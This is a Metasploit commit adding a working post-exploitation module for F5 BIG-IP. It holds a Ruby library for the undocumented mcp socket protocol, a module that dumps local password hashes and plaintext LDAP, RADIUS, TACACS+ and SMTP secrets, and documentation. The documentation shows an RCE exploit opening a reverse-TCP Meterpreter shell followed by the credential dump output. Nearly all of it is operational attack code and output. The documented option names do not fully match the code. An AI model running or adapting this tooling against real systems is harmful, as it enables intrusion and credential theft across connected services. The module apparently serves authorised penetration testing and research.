Land #17272, Add F5 MCP post module

Add F5 MCP post module
This commit is contained in:
Spencer McIntyre
2022-12-12 14:20:31 -05:00
4 changed files with 42456 additions and 0 deletions
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,137 @@
## Vulnerable Application
The application is F5 Big-IP, and I don't think the versions matters but I
tested on version 17.0.0.1. It can be downloaded as a VMWare image for free
(you have to create an account) from https://downloads.f5.com. You can register
for a free 30-day trial if you like, but it's not required to test this.
Boot the VM and set an admin password by logging in with the default credentials
(admin / admin). You'll need that password.
## Verification Steps
1. Install the application
2. Start `msfconsole`
3. Do: Get any session somehow (`exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800` works well on 17.0.0.1 and earlier, or just use `msfvenom` w/ a Linux payload)
4. Do: `use post/linux/gather/f5_loot_mcp`
5. Do `set SESSION <sessionid>`
6. Do: `run`
7. You should get the info
## Options
### GATHER_HASHES
If `true`, read a list of local users and passwords (`userdb_entry` values) from mcp.
Default: true
### GATHER_SERVICE_PASSWORDS
If `true`, read upstream service passwords (active directory, LDAP, etc) from different parts of mcp.
Default: true
### GATHER_DB_VARIABLES
If `true`, read configuration information from mcp (note that this is slow).
Default: false (due to the speed)
## Scenarios
### F5 Big-IP 17.0.0.1 with a root session
First, get a non-root session however you can. I used the rpmspec vuln:
```
msf6 > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set HttpPassword mybigtestpassword
HttpPassword => iagotestbigip
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set RHOST 10.0.0.162
RHOST => 10.0.0.162
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[*] Sending stage (40168 bytes) to 10.0.0.162
[+] Deleted /var/config/rest/node/tmp/708677fa-5b30-43e6-9ce3-d84046e9f6e9.spec
[+] Deleted /var/config/rest/node/tmp/RPMS/noarch/yE15kZeAwp-1.6.1-7.4.4.noarch.rpm
[*] Meterpreter session 1 opened (10.0.0.179:4444 -> 10.0.0.162:36124) at 2022-11-14 16:12:04 -0800
meterpreter > bg
```
Then just use the module, set the SESSION, and run it:
```
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > use post/linux/gather/f5_loot_mcp
msf6 post(linux/gather/f5_loot_mcp) > set SESSION 1
SESSION => 1
msf6 post(linux/gather/f5_loot_mcp) > set VERBOSE true
VERBOSE => true
msf6 post(linux/gather/f5_loot_mcp) > show options
Module options (post/linux/gather/f5_loot_mcp):
Name Current Setting Required Description
---- --------------- -------- -----------
GATHER_DB_VARIABLES false yes Gather database variables (warning: slow)
GATHER_HASHES true yes Gather password hashes from mcp
GATHER_UPSTREAM_PASSWORDS true yes Gather upstream passwords (ie, LDAP, AD, RADIUS, etc) from mcp
SESSION 1 yes The session to run this module on
View the full module info with the info, or info -d command.
msf6 post(linux/gather/f5_loot_mcp) > run
[*] Gathering users and password hashes from MCP
[+] admin:$6$Rvvp3001$4fGV5Pb2gf9rbiV78KCbdbGhfdwsFL0Kt1BR3IIytgb.2aXCpJG0xC2.JDzRvpAjTbIrvBt7YHi2j0mh.ww9i1
[+] f5hubblelcdadmin:yJXc4uXccfpSrdxcvZIjYT7clhNMUPJG
[+] root:$6$leOcJhIk$pY9xDy1lvacvJzIYM0RCgJ3laTppP2jFjsNek1AbFddYQWEuFMek51K5cyg5BU3pYMhTGQoWgDr0gocIIyMoc1
[*] Gathering upstream passwords from MCP
[*] Trying to fetch LDAP / Active Directory configuration
[+] dc.msflab.local:636 - ldaps: 'smcintyre:Password1!'
[*] Trying to fetch Radius configuration
[+] 192.168.159.12:1812 - radius: ':radiussecret'
[+] 192.168.159.13:1812 - radius: ':radiusbackup'
[*] Trying to fetch TACACS+ configuration
[+] 192.168.159.200:49 - tacacs+: ':tacaspassword'
[*] Trying to fetch SMTP configuration
[+] 192.168.159.128:25 - smtp: 'alice:secretpassword'
[*] Post module execution completed
```
The module logs information to the Metasploit database (when connected):
```
msf6 post(linux/gather/f5_loot_mcp) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
192.168.159.119 smcintyre Password1! Password
192.168.159.119 admin $6$Rvvp3001$4fGV5Pb2gf9rbiV78KCbdbGhfdwsFL0Kt1BR3IIytgb.2aXCpJG0xC2.JDzRvpAjTbIrvBt7YHi (TRUNCATED) Nonreplayable hash sha512,crypt
192.168.159.119 f5hubblelcdadmin yJXc4uXccfpSrdxcvZIjYT7clhNMUPJG Nonreplayable hash
192.168.159.119 root $6$leOcJhIk$pY9xDy1lvacvJzIYM0RCgJ3laTppP2jFjsNek1AbFddYQWEuFMek51K5cyg5BU3pYMhTGQoWgDr (TRUNCATED) Nonreplayable hash sha512,crypt
192.168.159.12 192.168.159.119 1812/tcp (radius) radiussecret Password
192.168.159.13 192.168.159.119 1812/tcp (radius) radiusbackup Password
192.168.159.128 192.168.159.119 25/tcp (smtp) alice secretpassword Password
192.168.159.200 192.168.159.119 49/tcp (tacacs+) tacaspassword Password
msf6 post(linux/gather/f5_loot_mcp) > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.159.12 1812 tcp radius open
192.168.159.13 1812 tcp radius open
192.168.159.128 25 tcp smtp open
192.168.159.200 49 tcp tacacs+ open
msf6 post(linux/gather/f5_loot_mcp) >
```
+376
View File
@@ -0,0 +1,376 @@
# Encoding: ASCII-8BIT
module Msf
class Post
module Linux
# This mixin lets you programmatically interact with F5's "mcp" service,
# which is a database service on a variety of F5's devices, including
# BIG-IP and BIG-IQ.
#
# mcp uses a UNIX domain socket @ /var/run/mcp for all communications.
# As of writing this module, it's world-accessible, so anybody can query
# or write to it. We implemented a few interesting things as modules, and
# your best bet for learning how to work this is to look at those modules,
# but this will document it briefly.
#
# Data is read and written by serializing a TLV-style structure and
# writing it to that socket, then parsing the response.
#
# If you're just reading data, you can use `mcp_simple_query()` to build
# a query that fetches everything under a given name, and get a Hash of
# data back. That's by far the easiest way to handle things.
#
# To create a more complex query, you'll need to use mcp_build(), which
# serializes a message. You can generate a single message, or an array of
# them. Then use mcp_send_recv() to write it/them to the socket.
# Additionally, mcp_send_recv() automatically parses them and returns
# a whole big nested array of data.
#
# To actually use that data without going crazy, I suggest using either
# mcp_get_single(tagname) to fetch a single tag, or
# mcp_get_multiple(tagname) if multiple of the same tag can be returned.
# Finally, the response from that can be passed to mcp_to_h() to convert
# the response to a hash (note that if there are multiple of the same tag,
# map_to_h() will only keep one of them).
#
# Obviously, this is all way more complex than mcp_simple_query(). You can
# see this in action in the module `linux/local/f5_create_user`.
module F5Mcp # rubocop:disable Metrics/ModuleLength
def initialize(info = {})
file = ::File.join(Msf::Config.data_directory, 'f5-mcp-objects.txt')
objects = ::File.read(file)
raise("Could not load #{file}!") unless objects
@tags_by_id =
objects
.split(/\n/)
.reject { |o| o.start_with?('#') }
.map(&:strip)
.map do |o|
value, tag = o.split(/ /, 2)
raise("Invalid line in #{file}: #{o}") if tag.nil?
[value.to_i(16), tag]
end
.to_h
.freeze
@tags_by_name = @tags_by_id.invert.freeze
super(info)
end
# Parse one or more packets (including headers) into an array of
# packets.
def mcp_parse_responses(incoming_data)
replies = []
while incoming_data.length > 16
# Grab the length and remove the header from the incoming data
expected_length, _, incoming_data = incoming_data.unpack('Na12a*')
# Read the packet
packet, incoming_data = incoming_data.unpack("a#{expected_length}a*")
# Sanity check
if packet.length != expected_length
print_warning('mcp message is truncated!')
return replies
end
# Parse it
replies << mcp_parse(packet)
end
return replies
end
def mcp_send_recv(messages)
# Attach headers to each message and combine them
message = messages.map do |m|
[m.length, 0, 0, 0, m].pack('NNNNa*')
end.join('')
# Encode as base64 so we can pass it on the commandline
message = Rex::Text.encode_base64(message)
# Sometimes, the service doesn't respond with a complete packet, but
# instead truncates it. This only seems to happen on very long replies,
# and seems to happen ~50% of the time, so running this loop 5 times
# gives a pretty high chance of it working
#
# This isn't a problem with Metasploit, it even happens when I use
# socat directly.. I think it's just because we don't have AF_UNIX.
# In this example, 559604 is right and 548160 is truncated:
#
# # echo 'AAAAEAAAAAAAAAAAAAAAAAtlAA0AAAAICEoADQAAAAA=' | base64 -d | socat -t100 - UNIX-CONNECT:/var/run/mcp | wc -c
# 559604
# # echo 'AAAAEAAAAAAAAAAAAAAAAAtlAA0AAAAICEoADQAAAAA=' | base64 -d | socat -t100 - UNIX-CONNECT:/var/run/mcp | wc -c
# 548160
#
# This loop is the best we can do without having access to an AF_UNIX
# socket (or doing something much, much more complex)
0.upto(4) do
# Send the request messages(s) to the socket
incoming_data = cmd_exec("echo '#{message}' | base64 -d | socat -t100 - UNIX-CONNECT:/var/run/mcp")
# Fail if we got no response or no header
if !incoming_data || incoming_data.length < 16
print_error('Request to /var/run/mcp socket failed')
return nil
end
# Get the expected length and make sure the full response is at least
# that long
expected_length = incoming_data.unpack('N').pop
if incoming_data.length < expected_length
vprint_warning("mcp responded with #{incoming_data.length} bytes instead of the promised #{expected_length} bytes! Trying again...")
else
return mcp_parse_responses(incoming_data)
end
end
print_error("mcp isn't responding with a full message, giving up")
nil
end
# Recursively parse an mcp message from a binary stream into an object
#
# Adapted from https://github.com/rbowes-r7/refreshing-mcp-tool/blob/main/mcp-parser.rb
def mcp_parse(stream)
# Reminder: this has to be an array, not a hash, because there are
# often duplicate entries (like multiple userdb_entry results when a
# query is performed).
result = []
# Make a Hash of parsers. Some of them are recursive, which is fun!
#
# They all take the stream as an input argument, and return
# [value, stream]
parsers = {
# The easy stuff - simple values
'ulong' => proc { |s| s.unpack('Na*') },
'long' => proc { |s| s.unpack('Na*') },
'uquad' => proc { |s| s.unpack('Q>a*') },
'uword' => proc { |s| s.unpack('na*') },
'byte' => proc { |s| s.unpack('Ca*') },
'service' => proc { |s| s.unpack('na*') },
# Parse 'time' as a time
'time' => proc do |s|
value, s = s.unpack('Na*')
[Time.at(value), s]
end,
# Look up 'tag' values
'tag' => proc do |s|
value, s = s.unpack('na*')
[@tags_by_id[value], s]
end,
# Parse MAC addresses
'mac' => proc do |s|
value, s = s.unpack('a6a*')
[value.bytes.map { |b| '%02x'.format(b) }.join(':'), s]
end,
# 'string' is prefixed by two length values
'string' => proc do |s|
length, otherlength, s = s.unpack('Nna*')
# I'm sure the two length values have a semantic difference, but just check for sanity
if otherlength + 2 != length
raise "Inconsistent string lengths: #{length} + #{otherlength}"
end
s.unpack("a#{otherlength}a*")
end,
# 'structure' is recursive
'structure' => proc do |s|
length, s = s.unpack('Na*')
struct, s = s.unpack("a#{length}a*")
[mcp_parse(struct), s]
end,
# 'array' is a bunch of consecutive values of the same type, which
# means we need to index back into this same parser array
'array' => proc do |s|
length, s = s.unpack('Na*')
array, s = s.unpack("a#{length}a*")
type, elements, array = array.unpack('nNa*')
type = @tags_by_id[type] || '<unknown type 0x%04x>'.format(type)
array_results = []
elements.times do
array_result, array = parsers[type].call(array)
array_results << array_result
end
[array_results, s]
end
}
begin
while stream.length > 2
tag, type, stream = stream.unpack('nna*')
tag = @tags_by_id[tag] || '<unknown tag 0x%04x>'.format(tag)
type = @tags_by_id[type] || '<unknown type 0x%04x>'.format(type)
if parsers[type]
value, stream = parsers[type].call(stream)
result << {
tag: tag,
value: value
}
else
raise "Tried to parse unknown mcp type (skipping): type = #{type}, tag = #{tag}"
end
end
rescue StandardError => e
# If we fail somewhere, print a warning but return what we have
print_warning("Parsing mcp data failed: #{e.message}")
end
result
end
# Pull a single value out of a tag/value structure (ie, the thing
# returned by mcp_parse()). The result is:
#
# * If there are no values with that tag name, return nil
# * If there's a single value with that tag name, return it
# * If there are multiple values with that tag name, print an error
# and return nil
def mcp_get_single(hash, name)
# Get all the entries
entries = mcp_get_multiple(hash, name)
if entries.empty?
# If there are none, return nil
return nil
elsif entries.length == 1
# If there's one, return it
return entries.pop
else
# If there are multiple entries, print a warning and return nil
print_error("Query for mcp type #{name} was supposed to have one response but had #{entries.length}")
return nil
end
end
# Pull an array of tags with the same name out of a tag/value structure.
# For example, when you perform a query for `userdb_entry`, it returns
# multiple tags with the same name.
#
# The result is:
# * If there are no values, return an empty array
# * If there are one or more values, return them as an array
def mcp_get_multiple(hash, name)
hash.select { |entry| entry[:tag] == name }.map { |entry| entry[:value] }
end
# Take an array of results from an mcp query, and change them from
# an array of tag=>value into a hash.
#
# Note! If there are multiple fields with the same tag, this will
# only return one of them!
def mcp_to_h(array)
array.map do |r|
[r[:tag], r[:value]]
end.to_h
end
# Build an mcp message
#
# Adapted from https://github.com/rbowes-r7/refreshing-mcp-tool/blob/main/mcp-builder.rb
def mcp_build(tag, type, data)
if @tags_by_name[tag].nil?
raise "Invalid mcp tag: #{tag}"
end
if @tags_by_name[type].nil?
raise "Invalid mcp type: #{type}"
end
out = ''
if type == 'structure'
out = [data.join.length, data.join].pack('Na*')
elsif type == 'string'
out = [data.length + 2, data.length, data].pack('Nna*')
elsif type == 'uquad'
out = [data].pack('Q>')
elsif type == 'ulong'
out = [data].pack('N')
elsif type == 'uword'
out = [data].pack('n')
elsif type == 'long'
out = [data].pack('N')
elsif type == 'tag'
out = [@tags_by_name[data]].pack('n')
elsif type == 'byte'
out = [data].pack('C')
elsif type == 'mac'
out = [data].pack('a6')
else
raise "Unknown type: #{type}"
end
out = [@tags_by_name[tag], @tags_by_name[type], out].pack('nna*')
return out
end
# Do a query_all request for something that will reply with a single
# query result.
#
# Attempts to abstract away all the messiness in the protocol, instead
# we just query for a type and get all the responses as an array of
# hashes
def mcp_simple_query(querytype)
# Get the raw result
result = mcp_send_recv([
mcp_build('query_all', 'structure', [
mcp_build(querytype, 'structure', [])
])
])
# Error handling
unless result
print_error('mcp_send_recv failed')
return nil
end
# Sanity check - we only expect one result
if result.length != 1
print_error("mcp_send_recv query was supposed to return one result, but returned #{result.length} results instead")
return nil
end
# Get that result
result = result.pop
# Get the reply
result = mcp_get_single(result, 'query_reply')
if result.nil?
print_error("mcp didn't return a query_reply to our query")
return nil
end
# Get all the fields for the querytype
result = mcp_get_multiple(result, querytype)
# Convert each result to a hash
result = result.map do |single_result|
mcp_to_h(single_result)
end
result
end
end
end
end
end
+218
View File
@@ -0,0 +1,218 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::System
include Msf::Post::Linux::F5Mcp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 Big-IP Gather Information from MCP Datastore',
'Description' => %q{
This module gathers various interesting pieces of data from F5's
"mcp" datastore, which is accessed via /var/run/mcp using a
proprietary protocol.
Adapted from: https://github.com/rbowes-r7/refreshing-mcp-tool/blob/main/mcp-getloot.rb
},
'License' => MSF_LICENSE,
'Author' => ['Ron Bowes'],
'Platform' => ['linux', 'unix'],
'SessionTypes' => ['shell', 'meterpreter'],
'References' => [
['URL', 'https://github.com/rbowes-r7/refreshing-mcp-tool'], # Original PoC
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
['URL', 'https://support.f5.com/csp/article/K97843387'],
],
'DisclosureDate' => '2022-11-16',
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
OptBool.new('GATHER_HASHES', [true, 'Gather password hashes from MCP', true]),
OptBool.new('GATHER_SERVICE_PASSWORDS', [true, 'Gather upstream passwords (ie, LDAP, AD, RADIUS, etc) from MCP', true]),
OptBool.new('GATHER_DB_VARIABLES', [true, 'Gather database variables (warning: slow)', false]),
]
)
end
def gather_hashes
print_status('Gathering users and password hashes from MCP')
users = mcp_simple_query('userdb_entry')
unless users
print_error('Failed to query users')
return
end
users.each do |u|
print_good("#{u['userdb_entry_name']}:#{u['userdb_entry_passwd']}")
create_credential(
jtr_format: Metasploit::Framework::Hashes.identify_hash(u['userdb_entry_passwd']),
origin_type: :session,
post_reference_name: refname,
private_type: :nonreplayable_hash,
private_data: u['userdb_entry_passwd'],
session_id: session_db_id,
username: u['userdb_entry_name'],
workspace_id: myworkspace_id
)
end
end
def gather_upstream_passwords
print_status('Gathering upstream passwords from MCP')
vprint_status('Trying to fetch LDAP / Active Directory configuration')
ldap_config = mcp_simple_query('auth_ldap_config') || []
ldap_config.select! { |config| config['auth_ldap_config_bind_pw'] }
if ldap_config.empty?
print_status('No LDAP / Active Directory password found')
else
ldap_config.each do |config|
config['auth_ldap_config_servers'].each do |server|
report_cred(
username: config['auth_ldap_config_bind_dn'],
password: config['auth_ldap_config_bind_pw'],
host: server,
port: config['auth_ldap_config_port'],
service_name: (config['auth_ldap_config_ssl'] == 1 ? 'ldaps' : 'ldap')
)
end
end
end
vprint_status('Trying to fetch Radius configuration')
radius_config = mcp_simple_query('radius_server') || []
radius_config.select! { |config| config['radius_server_secret'] }
if radius_config.empty?
print_status('No Radius password found')
else
radius_config.each do |config|
report_cred(
password: config['radius_server_secret'],
host: config['radius_server_server'],
port: config['radius_server_port'],
service_name: 'radius'
)
end
end
vprint_status('Trying to fetch TACACS+ configuration')
tacacs_config = mcp_simple_query('auth_tacacs_config') || []
tacacs_config.select! { |config| config['auth_tacacs_config_secret'] }
if tacacs_config.empty?
print_status('No TACACS+ password found')
else
tacacs_config.each do |config|
config['auth_tacacs_config_servers'].each do |server|
report_cred(
password: config['auth_tacacs_config_secret'],
host: server,
port: 49,
service_name: 'tacacs+'
)
end
end
end
vprint_status('Trying to fetch SMTP configuration')
smtp_config = mcp_simple_query('smtp_config') || []
smtp_config.select! { |config| config['smtp_config_username'] }
if smtp_config.empty?
print_status('No SMTP password found')
else
smtp_config.each do |config|
report_cred(
username: config['smtp_config_username'],
password: config['smtp_config_password'],
host: config['smtp_config_smtp_server_address'],
port: config['smtp_config_smtp_server_port'],
service_name: 'smtp'
)
end
end
end
def gather_db_variables
print_status('Fetching db variables from MCP (this takes a bit)...')
vars = mcp_simple_query('db_variable')
unless vars
print_error('Failed to query db variables')
return
end
vars.each do |v|
print_good "#{v['db_variable_name']} => #{v['db_variable_value']}"
end
end
def resolve_host(hostname)
ip = nil
if session.type == 'meterpreter' && session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_NET_RESOLVE_HOST)
result = session.net.resolve.resolve_host(hostname)
ip = result[:ip] if result
else
result = cmd_exec("dig +short '#{hostname}'")
ip = result.strip unless result.blank?
end
vprint_warning("Failed to resolve hostname: #{hostname}") unless ip
ip
rescue Rex::Post::Meterpreter::RequestError => e
elog("Failed to resolve hostname: #{hostname.inspect}", error: e)
end
def report_cred(opts)
netloc = "#{opts[:host]}:#{opts[:port]}"
print_good("#{netloc.ljust(21)} - #{opts[:service_name]}: '#{opts[:username]}:#{opts[:password]}'")
if opts[:host] && !Rex::Socket.is_ip_addr?(opts[:host])
opts[:host] = resolve_host(opts[:host])
end
service_data = {
address: opts[:host],
port: opts[:port],
service_name: opts[:service_name],
protocol: opts.fetch(:protocol, 'tcp'),
workspace_id: myworkspace_id
}
credential_data = {
post_reference_name: refname,
session_id: session_db_id,
origin_type: :session,
private_data: opts[:password],
private_type: :password,
username: opts[:username]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def run
gather_hashes if datastore['GATHER_HASHES']
gather_upstream_passwords if datastore['GATHER_SERVICE_PASSWORDS']
gather_db_variables if datastore['GATHER_DB_VARIABLES']
end
end